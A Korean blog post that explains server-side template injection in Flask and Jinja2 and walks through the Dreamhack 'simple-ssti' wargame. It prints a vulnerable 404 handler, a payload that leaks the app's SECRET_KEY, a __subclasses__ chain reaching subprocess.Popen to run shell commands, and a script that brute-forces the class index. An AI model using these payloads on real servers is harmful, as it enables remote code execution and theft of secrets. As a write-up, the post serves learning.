본문 바로가기

웹 해킹

SSTI 개념 정리 | simple-ssti

SSTI 취약점이란?

서버 측 템플릿 엔진에서 템플릿을 렌더링하는 과정에서 발생할 수 있는 취약점입니다. 이 취약점은 공격자가 임의의 입력을 통해 템플릿 엔진에 악성 코드를 삽입하고, 이를 통해 서버 측에서 임의의 코드를 실행할 수 있게 됩니다.

 

렌더링(Rendering)은 템플릿 엔진이나 브라우저가 데이터를 받아서 최종적으로 사용자에게 보여줄 형식으로 변환하는 과정을 말합니다. 웹 개발에서 렌더링은 주로 HTML, CSS, JavaScript 등의 데이터를 사용자에게 시각적으로 보여주는 역할을 합니다.

 

템플릿 엔진은 동적 웹 페이지를 생성하기 위해 템플릿 파일을 데이터와 결합하여 최종 HTML 페이지를 만드는 도구입니다.

 

 

참고자료

https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)

 

Server-Side Template Injection(SSTI)

라온화이트햇 핵심연구팀 임재연

core-research-team.github.io

 


 

Jinja2는 Python에서 가장 널리 사용되는 템플릿 엔진 중 하나입니다. Flask 프레임워크에서 기본 템플릿 엔진으로 사용됩니다.

 

Flask와 Jinja2를 사용한 예제

1. 템플릿 파일 (templates/index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>{{ title }}</title>
</head>
<body>
    <h1>Hello, {{ name }}!</h1>
    {% if items %}
        <ul>
        {% for item in items %}
            <li>{{ item }}</li>
        {% endfor %}
        </ul>
    {% else %}
        <p>No items found.</p>
    {% endif %}
</body>
</html>

 

 

2. Flask 애플리케이션 (app.py)

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def home():
    data = {
        'title': 'Welcome Page',
        'name': 'John Doe',
        'items': ['Item 1', 'Item 2', 'Item 3']
    }
    return render_template('index.html', **data)

if __name__ == '__main__':
    app.run(debug=True)

 

Flask의 render_template 함수를 사용하여 index.html 템플릿을 렌더링하고, data 딕셔너리의 값을 템플릿에 전달합니다.


 

https://dreamhack.io/wargame/challenges/39

 

simple-ssti

존재하지 않는 페이지 방문시 404 에러를 출력하는 서비스입니다. SSTI 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference Server-side Basic

dreamhack.io

 

app.py

#!/usr/bin/python3
from flask import Flask, request, render_template, render_template_string, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

app.secret_key = FLAG


@app.route('/')
def index():
    return render_template('index.html')

@app.errorhandler(404)
def Error404(e):
    template = '''
    <div class="center">
        <h1>Page Not Found.</h1>
        <h3>%s</h3>
    </div>
''' % (request.path)
    return render_template_string(template), 404 # 템플릿 파일을 별도로 만들 필요 없이 문자열로 템플릿을 정의

app.run(host='0.0.0.0', port=8000)

 

 

Flask의 secret_key

역할

  1. 세션 데이터 암호화: Flask 애플리케이션에서는 클라이언트와 서버 간의 세션 데이터를 안전하게 유지하기 위해 쿠키에 세션 데이터를 저장합니다. 이 세션 데이터는 secret_key를 사용하여 암호화됩니다.
  2. CSRF 보호: CSRF(Cross-Site Request Forgery) 공격을 방지하기 위해 사용하는 CSRF 토큰도 secret_key를 사용하여 생성됩니다.
  3. 기타 보안 기능: Flask의 확장 기능들 중에도 secret_key를 사용하는 경우가 많습니다.

 

Flask의 config

역할

config 객체는 Flask 애플리케이션의 설정값들을 관리합니다. config 객체에는 애플리케이션의 동작을 제어하는 다양한 설정값이 포함됩니다.

 

config 객체는 딕셔너리와 유사하게 동작하며, 설정값을 저장하고 접근할 수 있습니다:

app.config['SECRET_KEY'] = 'my Secret!!'
print(app.config['SECRET_KEY'])  # 'my Secret!!'

 

주요 설정값

 

  • SECRET_KEY: 세션 데이터 암호화 및 CSRF 보호를 위해 사용됩니다.
  • DEBUG: 디버그 모드를 활성화합니다.
  • DATABASE_URI: 데이터베이스 연결 URI를 설정합니다.
  • SESSION_COOKIE_NAME: 세션 쿠키의 이름을 설정합니다.

 

 

 

 

jinja2 템플릿 구문 중 {{ ... }} 구문은 중괄호 안의 값을 동적으로 화면에 표시하여 주는 기능을 가지고 있습니다.

 

위 개념들을 이용해서

/{{config['SECRET_KEY'}}  요청을 보내면 플래그 획득 가능

 

 


 

{{''.__class__.__mro__[1].__subclasses__()[<index>]('ls',shell=True,stdout=-1).communicate()[0]}}

위와 같은 페이로드는 클래스 계층 구조와 서브클래스를 탐색함

 

최종적으로 subprocess.Popen 클래스를 찾아서 명령 실행

 

index 찾는 자동화 코드

import requests

url = "http://www.example.com:8564/{{''.__class__.__mro__[1].__subclasses__()[%d]('ls', shell=True, stdout=-1).communicate()[0]}}"

for i in range(100):  # 0부터 99까지의 인덱스를 시도
    response = requests.get(url % i)
    if response.status_code == 200 and 'flag' in response.text:  # 예상되는 결과를 확인
        print("Index:", i)
        print(response.text)
        break

 

 

 

 

/{{8*8}} 요청을 보냈을 때

 

클래스 및 메소드 접근: __mro__ (Method Resolution Order)를 사용하여 클래스 계층 구조를 탐색합니다. 아래 페이로드를 시도하여 클래스 계층을 탐색해 봅니다

 

/{{''.__class__.__mro__}}

 

 

 

 

 

 

 

 

'웹 해킹' 카테고리의 다른 글

CSS Injection  (0) 2024.08.10